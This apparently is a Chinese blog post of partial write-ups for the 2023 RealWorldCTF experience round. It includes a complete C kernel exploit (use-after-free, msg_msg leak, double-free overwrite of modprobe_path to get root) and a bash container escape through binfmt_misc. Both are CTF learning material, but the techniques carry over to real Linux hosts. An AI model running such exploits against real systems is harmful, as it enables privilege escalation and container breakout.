Single

2023 RealworldCTF 体验赛 部分WP

捅了天枢一晚上屁股也没捅到(

太久没打ctf了,手感冰凉,思路混乱(

正赛?问就是太难了不会做(

Digging into Kernel 3

一个任意size的uaf,不限制uaf的次数,并且没有打开slab_freelist_hardened

既然没有打开slab_freelist_hardened,那么double_free的任意地址写就是可行的,那么就需要我们泄露kernel地址

显然题目中没有给任何泄露手段,那么就需要struct msg来进行泄露

首先制作一个0x20大小的uaf,接着创建一个0x1018大小的struct msg

此时0x20部分的struct msg会被放入uaf中,将其free,分配一个struct shm_file_data

此时在输出struct msg就可以成功泄露kernel地址

特别要注意,由于内核关闭了CONFIG_CHECKPOINT_RESTORE,MSG_COPY无法使用

并且由于SElinux的开启,struct msg的security指针不能被破坏

因此进行uaf的结构体的前8个字节必须要为0,目前似乎仅有struct shm_file_data能满足条件

最后直接double_free写modprobe_path就行

EXP:

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h> #include <linux/sched.h> #include <sys/shm.h> #include <sys/msg.h> #include <sys/ipc.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/syscall.h> struct request { int32_t idx; int32_t size; void *ptr; }; int dev_fd; uint64_t kernel_base, modprobe_path; void err(char *error) { fprintf(stderr,error); exit(-1); } int make_queue(key_t key,int msgflg) { int result; if ((result=msgget(key,msgflg))==-1) { perror("[X] Msgget Failure"); exit(-1); } return result; } void send_msg(int msqid,void *msgp,size_t msgsz,int msgflg) { if (msgsnd(msqid,msgp,msgsz,msgflg)==-1) { perror("[X] Msgsend Failure"); exit(-1); } return; } ssize_t get_msg(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg) { ssize_t result; result=msgrcv(msqid,msgp,msgsz,msgtyp,msgflg); if (result<0) { perror("[X] Msgrcv Failure"); exit(-1); } return result; } void remove_queue(int msqid,int cmd,struct msqid_ds *buf) { if ((msgctl(msqid,cmd,buf))==-1) { perror("[X] Msgctl Failure"); exit(-1); } } int shmid_open() { int shmid; if ((shmid=shmget(IPC_PRIVATE,100,0600))==-1) { puts("[X] Shmget Error"); exit(0); } char *shmaddr=shmat(shmid,NULL,0); if (shmaddr==(void*)-1) { puts("[X] Shmat Error"); exit(0); } return shmid; } void new(int32_t idx, int32_t size, void *ptr) { struct request request_t; request_t.idx = idx; request_t.size = size; request_t.ptr = ptr; ioctl(dev_fd, 0xDEADBEEF, &request_t); } void delete(int32_t idx) { struct request request_t; request_t.idx = idx; ioctl(dev_fd, 0xC0DECAFE, &request_t); } void leak_kernel_base() { char *buf = malloc(0x2000); uint64_t *recv_msg = malloc(0x2000); int qid; struct msg *message = (struct msg *)buf; int size = 0x1018; memset(buf, 0x61, 0x2000); new(0, 0x20, buf); delete(0); memset(buf, 0x61, 0x2000); qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT); send_msg(qid, message, size-0x30, 0); delete(0); shmid_open(); get_msg(qid, (char *)recv_msg, size, 0, IPC_NOWAIT|MSG_NOERROR); kernel_base = recv_msg[0x1fb] - 0x19ac6c0; free(buf); free(recv_msg); } void arbitrary_write() { uint64_t *buf = malloc(0x100); memset(buf, 0, 0x100); new(0, 0x20, buf); delete(0); delete(0); buf[0x2] = kernel_base + 0x18510a0; new(0, 0x20, buf); new(0, 0x20, buf); memset(buf, 0, 0x100); strcpy((char *)buf, "/tmp/a"); new(0, 0x20, buf); } int main() { system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/a"); system("chmod +x /tmp/a"); system("chmod +x /tmp/dummy"); dev_fd = open("/dev/rwctf",O_RDWR); if (dev_fd < 0) err("[X] Device Open Error"); leak_kernel_base(); modprobe_path = kernel_base + 0x18510a0; printf("[+] kernel_base = 0x%lx\n", kernel_base); printf("[+] modprobe_path = 0x%lx\n", modprobe_path); arbitrary_write(); system("/tmp/dummy"); system("/bin/sh"); }

Be-a-Docker-Escaper-2

挂载了/proc/sys/fs/binfmt_misc,那么就可以通过注册新的解释器来逃逸

注册#!/bin/sh的解释器,然后再开启一个ssh链接就可以完成逃逸

参考链接: http://paper.vulsee.com/KCon/2021/Container%20escape%20in%202021.pdf

EXP:

#!/bin/bash

path=$(mount | grep upperdir)
path=${path##*upperdir=}
path=${path%%,*}

echo '#!/bin/bash' > /tmp/test.sh
echo '' >> /tmp/test.sh
echo 'cat /root/flag > '$path'/tmp/flag' >> /tmp/test.sh

chmod a+x /tmp/test.sh

echo ':sh:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::'$path'/tmp/test.sh:' > /binfmt_misc/register

 

Be-a-PK-LPE-Master

用户名: ubuntu 密码: root

ubuntu用户在sudo组里,sudo -i获取root shell

当然正解是利用pkexec提权,github上有很多直接可以利用

用户名和密码都是猜的,题目描述啥也没说,不是很懂这一题

暂无评论

发表评论